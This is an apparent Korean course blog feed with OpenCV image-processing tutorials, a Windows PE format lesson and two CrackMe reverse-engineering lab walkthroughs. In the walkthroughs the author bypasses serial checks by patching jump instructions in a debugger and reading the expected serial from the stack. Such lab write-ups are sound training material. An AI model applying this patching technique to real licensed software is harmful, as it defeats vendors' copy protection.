m = np.float32([[1, 0, 100], [0, 1, 50]])
dst = cv.warpAffine(img, m, (c, r))

ax1.imshow(img)
ax2.imshow(dst)</code></pre>
<p><code>warpAffine</code>함수를 이용해서 이미지의 위치를 조정할 수 있다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/c4d5fbfe-16f7-40bd-ba83-05109b764ecf/image.png" alt=""></p>
<pre><code class="language-python"># 이미지 회전

fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(1, 2, 1)
ax2 = fig.add_subplot(1, 2, 2)

img = cv.imread(&#39;../samples/messi5.jpg&#39;)

r, c = img.shape[:2]
m = cv.getRotationMatrix2D(((c-1)/2.0, (r-1)/2.0), 90, 1)
dst = cv.warpAffine(img, m, (c, r))

ax1.imshow(img)
ax2.imshow(dst)</code></pre>
<p><code>getRotationMatrix2D</code>함수를 이용하면 이미지를 회전시킬 수 있다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/560e42a8-f629-420b-a36b-12ab5ae61db2/image.png" alt=""></p>
<p>각도를 정하지 않고 반전시키는 경우에는 <code>cv.flip</code>함수를 이용하면 된다.</p>
<pre><code class="language-python"># 이미지 회전2

fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(2, 2, 1)
ax2 = fig.add_subplot(2, 2, 2)
ax3 = fig.add_subplot(2, 2, 3)
ax4 = fig.add_subplot(2, 2, 4)

img = cv.imread(&#39;../samples/messi5.jpg&#39;)

r, c = img.shape[:2]

ax1.imshow(img)
ax2.imshow(cv.flip(img, -1))
ax3.imshow(cv.flip(img, 0))
ax4.imshow(cv.flip(img, 1))</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/1fc94430-d76d-4b4f-90f2-3d3ad2381508/image.png" alt=""></p>
<p>다음은 이미지 어파인 변환인데, 좌표를 지정해서 변환시키면 마치 사선으로 보는듯하게 변환시키는것도 가능하다. 이게 가능하다는것은 애초에 사선으로 되어있는 이미지를 정방향으로 보이게끔 변환할 수 있다는것을 뜻한다.</p>
<pre><code># 이미지 affine 변환

fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(1, 2, 1)
ax2 = fig.add_subplot(1, 2, 2)


img = cv.imread(&#39;../samples/chessboard.png&#39;)

r, c = img.shape[:2]

pts1 = np.float32([[50, 50], [200, 50], [50, 200]])
pts2 = np.float32([[10, 100], [200, 50], [100, 250]])

m = cv.getAffineTransform(pts1, pts2)
dst = cv.warpAffine(img, m, (c, r))

ax1.imshow(img)
ax2.imshow(dst)</code></pre><p><img src="https://velog.velcdn.com/images/gloomy_passion/post/c0897e3e-399c-4de6-86bd-a8c76e7baae1/image.png" alt=""></p>
<p>다음은 이미지 투시 변환이다. 투시 변환은 이미지 내에 존재하는 객체의 꼭짓점등을 이용하여 변환시키는 것이다.</p>
<pre><code class="language-python"># 이미지 투시 변환

fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(1, 2, 1)
ax2 = fig.add_subplot(1, 2, 2)


img = cv.imread(&#39;../samples/sudoku.png&#39;)

r, c = img.shape[:2]

pts1 = np.float32([[70, 85], [495, 68], [30, 520], [520, 520]])
pts2 = np.float32([[0, 0], [300, 0], [0, 300], [300, 300]])

m = cv.getPerspectiveTransform(pts1, pts2)
dst = cv.warpPerspective(img, m, (300, 300))

ax1.imshow(img)
ax2.imshow(dst)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/b625aad5-54d9-4bc7-b21a-071fd790d0d3/image.png" alt=""></p>
<pre><code class="language-python"># 이미지 투시 변환

fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(1, 2, 1)
ax2 = fig.add_subplot(1, 2, 2)


img = cv.imread(&#39;../samples/left04.jpg&#39;)

r, c = img.shape[:2]

pts1 = np.float32([[160, 85], [550, 50], [150, 380], [570, 400]])
pts2 = np.float32([[0, 0], [400, 0], [0, 400], [400, 400]])

m = cv.getPerspectiveTransform(pts1, pts2)
dst = cv.warpPerspective(img, m, (400, 400))

ax1.imshow(img)
ax2.imshow(dst)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/b4ecd362-83a1-4dcb-ad86-5edd26e4392b/image.png" alt=""></p>
<h3 id="히스토그램-평탄화">히스토그램 평탄화</h3>
<p>이미지 히스토그램이란 어떤 이미지에서 밝은 픽셀과 어두운 픽셀의 분포를 히스토그램으로 나타낸 것이다.
이러한 이미지의 히스토그램을 평탄화시켜주면 픽셀의 분포가 치우쳐져있다가 고루 분포되기 때문에 전체적으로 조금 더 잘 보이게 된다.</p>
<pre><code class="language-python">fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(1, 2, 1)
ax2 = fig.add_subplot(1, 2, 2)

img = cv.imread(&#39;../samples/lena.jpg&#39;,0)

ax2.hist(img.ravel(),256,[0,256])
ax1.imshow(img, cmap=&#39;gray&#39;)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/bdacc61e-0423-4621-bdfa-28254de87339/image.png" alt=""></p>
<pre><code class="language-python">img = cv.imread(&#39;../samples/hawkes.bmp&#39;,0)
equ = cv.equalizeHist(img)
res = np.hstack((img,equ)) #stacking images side-by-side
plt.imshow(res, cmap=&#39;gray&#39;)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/9fe4cb96-6a96-4eae-acfb-b68d11ee0abb/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[KDT_AISEC] 8주차 - CrackMe 2번 실습]]></title>
            <link>https://velog.io/@gloomy_passion/KDTAISEC-8%EC%A3%BC%EC%B0%A8-CrackMe-%EC%8B%A4%EC%8A%B5</link>
            <guid>https://velog.io/@gloomy_passion/KDTAISEC-8%EC%A3%BC%EC%B0%A8-CrackMe-%EC%8B%A4%EC%8A%B5</guid>
            <pubDate>Wed, 07 Feb 2024 14:05:21 GMT</pubDate>
            <description><![CDATA[<h2 id="crackme">CrackMe</h2>
<hr>
<h3 id="crackme-2번-실습">CrackMe 2번 실습</h3>
<p>지난번 크랙미 1번에 이어서 2번을 풀어보자. 분석 환경은 <code>Windows 7</code> 가상환경을 이용하였다.
우선 프로그램을 실행해보았다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/e288f6e1-df3f-475b-b98b-55165b845f3b/image.png" alt="">
이름과 시리얼번호를 입력할 수 있는 칸이 있다. 모두 <code>asdf</code>라는 값으로 채워넣어보니 다음과 같은 결과가 출력된다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/cc948308-e23f-4b14-a6e2-79ea32eefa7a/image.png" alt=""></p>
<p>파일의 기본정보를 <code>PEview</code>를 통해 살펴보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/b1ecffe1-62dc-4b29-94a4-10719914eca3/image.png" alt="">
파일의 이미지 베이스와 엔트리 포인트 주소 등을 볼 수 있다.</p>
<p>이 파일의 엔트리 포인트 주소는 <code>0x401238</code>인 것으로 보인다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/0ca8e22f-46bf-47c4-a725-a7f366df928e/image.png" alt="">
실제 <code>x64dbg</code>를 통해 확인한 엔트리 포인트의 주소가 일치한다.</p>
<p>두번째로 실행할 주소에 <code>Main</code>함수로 보이는 함수를 <code>Call</code>하는 것을 볼 수 있다.
해당 함수를 살펴보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/9ddfccae-c8ea-4168-ad89-8f5a9cfa75da/image.png" alt="">
해당 함수 안으로 <code>step into</code>하여 진입했다.
한 줄씩 실행시키며 분석해보자.</p>
<p><code>step over</code>를 통해 한 줄씩 실행시키다보니 
<img src="https://velog.velcdn.com/images/gloomy_passion/post/9d0a8cc6-c911-4080-b905-61c4357eff7c/image.png" alt="">
해당 <code>EIP</code>에서 프로그램이 실행되었다. 다시 되돌려서 해당 함수를 살펴보자.</p>
<p>무작정 프로그램이 실행되는 함수들을 찾아서 들어가다보니 너무 깊게 깊게 들어가게 되어서 생각을 달리 해보기로 했다.</p>
<p>우선 <code>BinText</code>로 해당 프로그램에 존재하는 문자열들을 검색한 뒤 <code>IDA</code>로 프로그램을 열어서 출력되는 문자열들을 찾아보았다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/44eb4edb-9a64-4b04-b5b7-ad8996e79125/image.png" alt="">
<img src="https://velog.velcdn.com/images/gloomy_passion/post/2e3c810c-8ec6-4afa-b376-7ad5bc707643/image.png" alt="">
디버거에서 <code>0x403372</code>로 이동해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/1943482d-058d-4daa-982a-86ba39cc39ed/image.png" alt="">
문자열을 출력하는 부분으로 잘 찾아온 것 같다.
이제 위 아래 어셈블리 코드를 살펴보면서 분기를 찾아보자.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/5023800c-71e2-42c2-aea4-a677a990c254/image.png" alt="">
해당 점프문에서 <code>ax</code>레지스터의 값을 체크한 후 제로플래그가 <code>set</code>되면 아래 분기, 즉 <code>Wrong</code>을 출력하는 곳으로 분기되는 것 같다. 해당 부분의 점프문을 <code>jne</code>로 변경해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/ddb339e0-3efb-4f9e-9d57-b5f079726f39/image.png" alt="">
변경 후 실행해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/a7204219-ad52-40c5-93b2-f816722ef987/image.png" alt="">
<img src="https://velog.velcdn.com/images/gloomy_passion/post/871525ff-e166-40b8-b258-339e292a4a73/image.png" alt="">
<code>Congratulations!</code>가 나온 직후 <code>Wrong serial!</code>이 연속해서 출력되었다. 프로그램 내부에서 이중으로 체크를 하는 것 같다. 다른 분기도 있는지 살펴보았는데, 그럴듯한 부분이 있었다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/381f8ab0-8c5c-4cc1-b84b-6feecf860efa/image.png" alt="">
이 부분도 마저 <code>jne</code>로 변경해준 후 다시 실행해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/a7204219-ad52-40c5-93b2-f816722ef987/image.png" alt="">
이후 <code>Wrong serial!</code>창이 뜨지 않았다. </p>
<p>다른 방법의 풀이도 가능한데, 첫번째 분기 이전에 브레이크 포인트를 건 후에 스택의 값을 살펴보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/3b0ce22b-175e-4d2a-9824-4c28f3b772fa/image.png" alt="">
스택에 <code>C5C5C5C5</code>라는 값이 담겨있다. 해당 값을 시리얼에 입력해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/780c5526-805b-4957-b1f1-5d1a42942b11/image.png" alt="">
분기에 대한 수정을 하지 않아도 잘 풀리는 것을 확인할 수 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[KDT_AISEC] 7주차 - openCV(1)]]></title>
            <link>https://velog.io/@gloomy_passion/KDTAISEC-7%EC%A3%BC%EC%B0%A8-openCV1</link>
            <guid>https://velog.io/@gloomy_passion/KDTAISEC-7%EC%A3%BC%EC%B0%A8-openCV1</guid>
            <pubDate>Tue, 06 Feb 2024 04:29:27 GMT</pubDate>
            <description><![CDATA[<h2 id="opencv">OpenCV</h2>
<hr>
<h3 id="opencv란">OpenCV란?</h3>
<p><code>OpenCV</code>란 <code>Open Source Computer Vision</code>의 약자로, 영상 처리에 사용할 수 있는 오픈 소스 라이브러리이다. 개인정보 비식별 트랙의 목적은 단순히 정형화된 자료를 비식별 처리하는것이 아니라 이미지나 영상등의 데이터도 비식별 처리를 하는것이 목적이다.</p>
<p>따라서 <code>OpenCV</code>를 이용해 해당 처리를 수행하기 위한 기반을 쌓아보자.</p>
<h3 id="이미지-읽고-쓰기">이미지 읽고 쓰기</h3>
<pre><code class="language-python">import cv2 as cv

cv.__version__</code></pre>
<pre><code>&#39;4.9.0&#39;</code></pre><p>우선 <code>OpenCV</code>의 버전은 가장 최신 버전을 사용하였다. 이미지를 불러와보자</p>
<pre><code class="language-python">img = cv.imread(&#39;../samples/starry_night.jpg&#39;)

if img is None:
    print(&quot;Not Found&quot;)

img[0].shape</code></pre>
<pre><code>(752, 3)</code></pre><p>이미지를 불러온 후 <code>shape</code>을 확인해보니 <code>RGB</code> 3채널로 이루어진 이미지임을 확인할 수 있다.
이미지를 출력해보자.</p>
<pre><code class="language-python">cv.imshow(&quot;Display Window&quot;, img)
k = cv.waitKey(0)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/7a47ea45-1a46-470e-8c77-0a8f59a00c1f/image.png" alt="">
성공적으로 출력되는것을 확인할 수 있다. 여기서 <code>waitKey</code>는 키 핸들러 함수인데, 키의 입력을 기다리다가 해당 키를 입력하면 그 키의 아스키 값이 <code>k</code>에 저장된다.
이제 이미지를 저장해보자.</p>
<pre><code class="language-python">cv.imwrite(&#39;starry_night_1.jpg&#39;, img)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/e15de3ae-13f4-40b0-b3db-7a11aac61b6f/image.png" alt=""></p>
<p>성공적으로 저장되었다.</p>
<h3 id="비디오-및-웹캠-실행하기">비디오 및 웹캠 실행하기</h3>
<pre><code class="language-python">videoFile = &#39;../samples/vtest.avi&#39;

cap = cv.VideoCapture(videoFile)

while(cap.isOpened()):

    ret, frame = cap.read()

    # frame 조작

    if ret:
        cv.imshow(&#39;video&#39;, frame)

        if cv.waitKey(1) &amp; 0xFF == ord(&#39;q&#39;):
            break

    else:
        break

cap.release()
cv.destroyAllWindows()</code></pre>
<p>위의 코드는 <code>vtest.avi</code>를 실행하는 코드이다. <code>waitKey</code>를 이용해 <code>q</code>가 입력되면 종료하도록 했다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/99d5daff-a328-4c70-8889-9d766a3400b3/image.png" alt=""></p>
<pre><code class="language-python">cap = cv.VideoCapture(0)

if not cap.isOpened():
    print(&quot;Cannot open camera&quot;)

while True:

    ret, frame = cap.read()

    if not ret:
        break

    gray = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)

    cv.imshow(&#39;cam&#39;, gray)
    if cv.waitKey(1) == ord(&#39;q&#39;):
        break

cap.release()
cv.destroyAllWindows()</code></pre>
<p>웹캠을 실행시킨 후 그레이 스케일(흑백 이미지)로 출력한다. 마찬가지로 <code>waitKey</code>를 이용해 <code>q</code>가 입력되면 종료하도록 했다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/61ca0cc1-3a98-4036-a90f-86d7484dcd31/image.png" alt="">
웹캠을 가려놓아 제대로 보이지는 않지만 잘 실행되는것을 볼 수 있다.</p>
<h3 id="도형-그리기">도형 그리기</h3>
<pre><code class="language-python">drawing = False # 마우스를 누른 상태에서는 True 값을 가짐
mode = True # True라면 사각형을 그리는 모드 m을 눌러 모드 변경 가능
ix,iy = -1,-1

# 마우스 콜백 함수
def draw_circle(event,x,y,flags,param):
    global ix,iy,drawing,mode

    if event == cv.EVENT_LBUTTONDOWN:
        drawing = True
        ix,iy = x,y
    elif event == cv.EVENT_MOUSEMOVE:
        if drawing == True:
            if mode == True:
                cv.rectangle(img,(ix,iy),(x,y),(0,255,0),-1)
            else:
                cv.circle(img,(x,y),5,(0,0,255),-1)
    elif event == cv.EVENT_LBUTTONUP:
        drawing = False
        if mode == True:
            cv.rectangle(img,(ix,iy),(x,y),(0,255,0),-1)
        else:
            cv.circle(img,(x,y),5,(0,0,255),-1)


img = np.zeros((512,512,3), np.uint8)
cv.namedWindow(&#39;image&#39;)
cv.setMouseCallback(&#39;image&#39;,draw_circle)

while(1):
    cv.imshow(&#39;image&#39;,img)
    k = cv.waitKey(1) &amp; 0xFF

    # 모드 변경
    if k == ord(&#39;m&#39;):
        mode = not mode
    elif k == 27:
        break
cv.destroyAllWindows()</code></pre>
<p>사각형과 원을 그리는 코드이다. <code>m</code>키를 토글해서 사각형과 원을 그리는 모드를 변경할 수 있고, 빈 윈도우에 마우스를 이용해 그림을 그릴 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/b5d7d96c-70aa-46e4-bb02-454bb9c97d08/image.png" alt="">
도형뿐만 아니라 폴리곤과 선 등도 그릴 수 있다.</p>
<h3 id="트랙바">트랙바</h3>
<pre><code class="language-python">def nothing(x):
    pass

cv.namedWindow(&#39;image&#39;)
cv.createTrackbar(&#39;R&#39;, &#39;image&#39;, 0, 255, nothing)
cv.createTrackbar(&#39;G&#39;, &#39;image&#39;, 0, 255, nothing)
cv.createTrackbar(&#39;B&#39;, &#39;image&#39;, 0, 255, nothing)

switch = &quot;0: OFF \n1: ON&quot;
cv.createTrackbar(switch, &#39;image&#39;, 0, 1, nothing)

while True:
    cv.imshow(&#39;image&#39;, img)
    k = cv.waitKey(1) &amp; 0xFF
    if k == 27:
        break
    r = cv.getTrackbarPos(&#39;R&#39;, &#39;image&#39;)
    g = cv.getTrackbarPos(&#39;G&#39;, &#39;image&#39;)
    b = cv.getTrackbarPos(&#39;B&#39;, &#39;image&#39;)
    s = cv.getTrackbarPos(switch, &#39;image&#39;)

    if s == 0:
        img[:] = 0
    else:
        img[:] = [b, g, r]

cv.destroyAllWindows()</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/530b8b37-d4e0-4df4-a2f0-dd21296ef6d5/image.png" alt=""></p>
<p>트랙바를 이용해 <code>RGB</code>의 값에 따라 아래 패널의 색을 조절하는 코드이다. 가장 아래는 스위치를 넣어 기능을 <code>ON/OFF</code> 할 수 있게 했다.</p>
<h3 id="roi">ROI</h3>
<p><code>ROI</code>는 아주 중요한 개념이다. <code>ROI</code>는 <code>Region Of Interest</code>의 약자로, 이미지나 영상에서 임의의 작업을 처리하기 위해 연산을 수행하려는 부분의 영역을 의미한다.</p>
<pre><code class="language-python">img = cv.imread(&#39;../samples/messi5.jpg&#39;)

plt.imshow(img)</code></pre>
<p>우선 축구선수 메시의 이미지를 불러와보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/449fe599-1110-4d04-8f89-3ff343968041/image.png" alt=""></p>
<p>우리는 공에 초록색으로 사각형을 그리려고 한다.
그렇다면 관심 영역(<code>ROI</code>)는 어디일까?</p>
<pre><code class="language-python">ball = img[280:340, 330:390] # x, y, w, h (280, 330, 60, 60)
plt.imshow(ball)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/0613596b-41b1-4bce-9e14-3aadc94e5de0/image.png" alt=""></p>
<p>해당 부분이 <code>ROI</code>라고 할 수 있다.
그렇다면 <code>cv.rectangle</code>을 이용해 그림을 그려보자.</p>
<pre><code class="language-python"># 사각형
# cv.rectangle(img, 좌측상단코너 좌표, 우측하단코너 좌표, 색상, 굵기)
cv.rectangle(img, (330, 280), (390, 340), (0, 255, 0), 3)

plt.imshow(img)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/8cf7cfdb-e4d6-46ca-a8e8-33b630d08a14/image.png" alt="">
이처럼 특정 부분을 지정해 임의의 작업을 수행하게 되는데, 이 과정에서 지정하는 영역을 <code>ROI</code>라고 한다.</p>
<h3 id="roi-selector">ROI Selector</h3>
<pre><code class="language-python">img2 = img.copy()

rois = []
drawing = False
ix, iy = -1, -1

def draw_rectangle(event, x, y, flags, param):

    global drawing, ix, iy, rois, overlay, output, alpha

    overlay = img.copy()
    output = img.copy()
    alpha = 0.5

    if event == cv.EVENT_LBUTTONDOWN:
        drawing = True
        ix, iy = x, y

    elif event == cv.EVENT_MOUSEMOVE:
        if drawing == True:
            cv.rectangle(overlay, (ix, iy), (x, y), (0, 255, 0), 3)
            cv.addWeighted(overlay, alpha, output, 1-alpha, 0, img2)
            cv.imshow(&#39;image&#39;, img2)

    elif event == cv.EVENT_LBUTTONUP:
        if drawing == True:
            print(&#39;레이블 입력하세요&#39;,)
            label = input()
            w = x - ix 
            h = y - iy
            r = [ix, iy, w, h, label]
            rois.append(r)
            print(rois)

        cv.rectangle(overlay, (ix, iy), (x, y), (0, 255, 0), 3)
        cv.addWeighted(overlay, alpha, output, 1-alpha, 0, img)

        drawing = False
        ix, iy = -1, -1

cv.namedWindow(&#39;image&#39;)
cv.setMouseCallback(&#39;image&#39;, draw_rectangle)

while(1):
    cv.imshow(&#39;image&#39;, img)
    k = cv.waitKey(1) &amp; 0xFF

    if k == 27:
        break

cv.destroyAllWindows()</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/d7fd5af0-43be-4082-9b1a-455063787c24/image.png" alt=""></p>
<p>그리기 함수와 ROI를 접목해 다음과 같이 이미지에서 라벨링하는 프로그램도 만들 수 있다. 마우스 이벤트 핸들러를 이용해서 각각의 마우스 버튼의 <code>UP</code>, <code>DOWN</code>과 <code>MOVE</code>를 감지하고 알맞은 코드를 실행할 수 있다. 위의 코드는 왼쪽 마우스 버튼이 눌리면 그리기 모드로 전환하고 움직이는 동안 임시 이미지에 사각형을 그려서 더하는 과정을 보여준다. 그리고 왼쪽 마우스 버튼을 떼면 레이블 이름과 해당 좌표값등의 정보를 입력받고 마지막으로 <code>ROI</code>를 표시해서 본 이미지에 나타내준다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[KDT_AISEC] 8주차 - Windows PE 파일 구조 및 CrackMe 실습]]></title>
            <link>https://velog.io/@gloomy_passion/KDTAISEC-8%EC%A3%BC%EC%B0%A8-Windows-PE-%ED%8C%8C%EC%9D%BC-%EA%B5%AC%EC%A1%B0-%EB%B0%8F-CrackMe-%EC%8B%A4%EC%8A%B5</link>
            <guid>https://velog.io/@gloomy_passion/KDTAISEC-8%EC%A3%BC%EC%B0%A8-Windows-PE-%ED%8C%8C%EC%9D%BC-%EA%B5%AC%EC%A1%B0-%EB%B0%8F-CrackMe-%EC%8B%A4%EC%8A%B5</guid>
            <pubDate>Wed, 31 Jan 2024 15:48:06 GMT</pubDate>
            <description><![CDATA[<h2 id="windows-pe-file-format">Windows PE File Format</h2>
<hr>
<h3 id="윈도우-pe-파일-포맷이란">윈도우 PE 파일 포맷이란?</h3>
<p><code>PE</code>파일은 <code>Portable Executable</code>파일로, 실행 파일을 의미한다. 실행 파일의 구조는 다음과 같다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/03a2b9ef-d3d7-4148-8687-d8f08df4d26b/image.png" alt="">
출처: <a href="https://0xrick.github.io/win-internals/pe2/">https://0xrick.github.io/win-internals/pe2/</a></p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/6b95612c-d3ed-42b0-8a75-3ba824d7d2f4/image.png" alt="">
<code>PEview</code>라는 도구를 이용해 <code>CrackMe</code> 1번 파일을 열어보게 되면 파일에 담겨있는 정보를 구조에 맞춰 보기 쉽게 나눠준다.</p>
<h3 id="dos_header">DOS_HEADER</h3>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/2aeb7c22-bf7c-40de-85b6-3332d2b5d215/image.png" alt="">
<code>DOS_HEADER</code>에는 파일의 시그니처와 <code>EXE Header</code>의 <code>Offset</code>정보가 담겨있다.</p>
<blockquote>
</blockquote>
<ul>
<li>파일 시그니처란 파일 내용을 식별하거나 확인하는 데 사용할 수 있는 파일 형식에 따른 고유의 포맷을 의미한다.</li>
</ul>
<p><code>EXE Header</code>의 <code>Offset</code>값인 <code>0x100</code>으로 가보면 <img src="https://velog.velcdn.com/images/gloomy_passion/post/80382e9a-5e03-4115-83cc-28ef13f0e883/image.png" alt="">
<code>PE</code>라고 명시하고 있는 것을 볼 수 있다.</p>
<p>실행 파일은 무조건 <code>MZ</code>, <code>PE</code>를 가지며 이 중 하나라도 손상된다면 실행되지 않는다.</p>
<h3 id="dos_stub">DOS_Stub</h3>
<p><code>DOS_Stub</code>은 <code>MS-DOS</code>프로그램 코드이다. 파일마다 어떤 운영체제에서 실행해야 하는지, 도스 환경에서 실행할 수 있는지 불가능한지 등의 정보를 나타낸다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/90350dfd-f7a1-4d32-be27-b065cb981a07/image.png" alt="">
현재 이 파일은 <code>Win32</code>환경에서 실행해야 한다고 명시되어있다.</p>
<h3 id="nt-headers">NT HEADERS</h3>
<p><code>NT HEADERS</code>는 파일의 시그니처와 파일 헤더, 옵셔널 헤더가 있다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/5df78eb4-c28b-4ffd-ad55-06ea5b3bbefb/image.png" alt="">
파일 헤더에서는 섹션의 개수 등의 정보를 포함하고 있다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/dc91e9b8-74e6-46ee-a3d0-a05e40e9a491/image.png" alt="">
옵셔널 헤더는 중요한 정보가 많은데, 첫 번째로 <code>Image Base</code>는 프로그램이 메모리상에 올라갔을 때 위치하는 주소이다. <code>Address of Entry Point</code>는 메모리 상에서 헤더 등을 제외하고 실제 프로그램의 내용이 위치한 곳의 주소인데, <code>Image Base</code>를 기준으로 한 상대주소이다. 즉 이 프로그램의 실제 주소는 <code>0x400000</code>에 <code>0x1000</code>을 더한 <code>0x401000</code>이 되는 것이다.</p>
<h3 id="section-header">SECTION HEADER</h3>
<p>다음은 섹션 헤더이다. 섹션 헤더에는 각 섹션에 대한 정보가 들어있으며, 해당 섹션이 메모리에 로드될 때 변하는 정보들이 들어있다.</p>
<p>여기서 중요한 것이 <code>Offset</code>과 <code>RVA</code>, 그리고 <code>VA</code>이다.</p>
<p><code>Offset</code>은 파일에서의 실제 위치를 뜻하고 <code>RVA</code>는 메모리 상의 상대주소, 마지막으로 <code>VA</code>는 메모리 상의 절대주소를 뜻한다.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/8ac2fdfe-f476-4061-9381-5103bb4c3703/image.png" alt="">
이 헤더는 <code>SECTION CODE</code>의 헤더이다. <code>Name</code>은 섹션의 이름이고 <code>Virtual Size</code>는 해당 섹션이 메모리에서 차지하는 크기이다. <code>Size of Raw Data</code>는 파일에서 해당 섹션의 실제 크기를 의미하고 <code>Pointer to Raw Data</code>는 파일에서 해당 섹션의 시작 <code>Offset</code>을 의미한다.</p>
<p>이러한 정보를 바탕으로 디버거를 통해 각종 정보를 확인해보자.</p>
<h2 id="crackme-실습">CrackMe 실습</h2>
<hr>
<h3 id="x64dbg-실행">x64dbg 실행</h3>
<p>수업 당시 실습은 <code>ollydbg</code>로 진행하였지만 다른 디버거도 사용해보고 싶어서 <code>x64dbg</code>로 진행해보기로 했다.</p>
<p>단축키는 <code>ollydbg</code>와 거의 유사한 것 같아서 따로 알아보지 않고 진행했다.</p>
<p>우선 <code>CrackMe</code>1번을 로드했다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/09109d7b-8178-416d-a489-e76fb57264f2/image.png" alt=""></p>
<p>불러온 후 <code>RUN</code>을 한번 눌러주면 해당 파일의 엔트리 포인트로 이동시켜준다.</p>
<p>이제 각 위치를 살펴보자.</p>
<p>우선 이 파일의 이미지 베이스가 <code>0x400000</code>인지 확인해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/c7063757-28a0-4d11-9dee-d7ebfcdf22cb/image.png" alt=""></p>
<p>해당 주소를 확인해보니 정확하게 파일의 시작 지점이 들어가 있는 것을 볼 수 있다. 엔트리 포인트가 <code>0x1000</code>이었고, <code>0x401000</code>을 확인해보면
<img src="https://velog.velcdn.com/images/gloomy_passion/post/369e16c3-cf9e-48b4-8d3b-316d7d5e3fef/image.png" alt="">
파일의 진짜 데이터들이 들어가 있는 것을 확인할 수 있다.</p>
<p>여기서 한 가지 주의할 점은 엔트리 포인트가 코드의 메인은 아니라는 점이다. 메인이 아니더라도 엔트리 포인트일 수 있고, 이번 경우에는 우연히 둘이 일치한 것 뿐이다.</p>
<p>프로그램을 한 줄씩 실행시키면서 가보자.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/441f2f3e-d16f-4c9b-bfe7-530ce85825ea/image.png" alt="">
윈도우 API인 <code>MessageBoxA</code>를 호출한 후 정상적으로 메시지 박스가 잘 나온다.</p>
<p>크랙미 1번은 하드 디스크를 CD-ROM으로 위장시키는 문제이다. <code>GetDriveTypeA</code>를 통해 현재 디스크의 타입을 반환한다.</p>
<p><a href="https://learn.microsoft.com/ko-kr/windows/win32/api/fileapi/nf-fileapi-getdrivetypea">https://learn.microsoft.com/ko-kr/windows/win32/api/fileapi/nf-fileapi-getdrivetypea</a></p>
<p>위 링크를 참조하면 해당 API의 정보가 나오는데, 해당 함수가 호출되면 반환값은
<img src="https://velog.velcdn.com/images/gloomy_passion/post/af939a0a-25cb-4843-b432-2202c7cabc68/image.png" alt=""></p>
<p>다음 중 하나이다.
해당 함수가 호출된 이후 반환값은 <code>EAX</code>레지스터에 저장되기 때문에 값을 살펴보면
<img src="https://velog.velcdn.com/images/gloomy_passion/post/c2bfa3bb-c4f7-499a-bf1d-3c3ea91f08f0/image.png" alt="">
3이 들어가 있고 이는</p>
<pre><code>DRIVE_FIXED
3
드라이브에 고정 미디어가 있습니다. 예를 들어 하드 디스크 드라이브 또는 플래시 드라이브입니다.</code></pre><p>을 의미한다.</p>
<p>구조를 보면
<img src="https://velog.velcdn.com/images/gloomy_passion/post/550e69ba-f41b-493c-ac05-3e8697f47e1d/image.png" alt="">
<code>EAX</code>와 <code>ESI</code>에 특정 연산을 진행한 이후 비교했을 때 둘이 같다면 <code>0x40103D</code>로 점프하는 구문이다.</p>
<p>점프하는 위치에는
<img src="https://velog.velcdn.com/images/gloomy_passion/post/c4f42896-3715-4284-b7b2-a78e8643a5a4/image.png" alt=""></p>
<p><code>CD-ROM</code>이 맞다는 메시지박스를 띄우는 구문이 존재하고 현재 프로그램은
<img src="https://velog.velcdn.com/images/gloomy_passion/post/622bd887-ac58-47a6-adf8-43a5ee0ef358/image.png" alt=""></p>
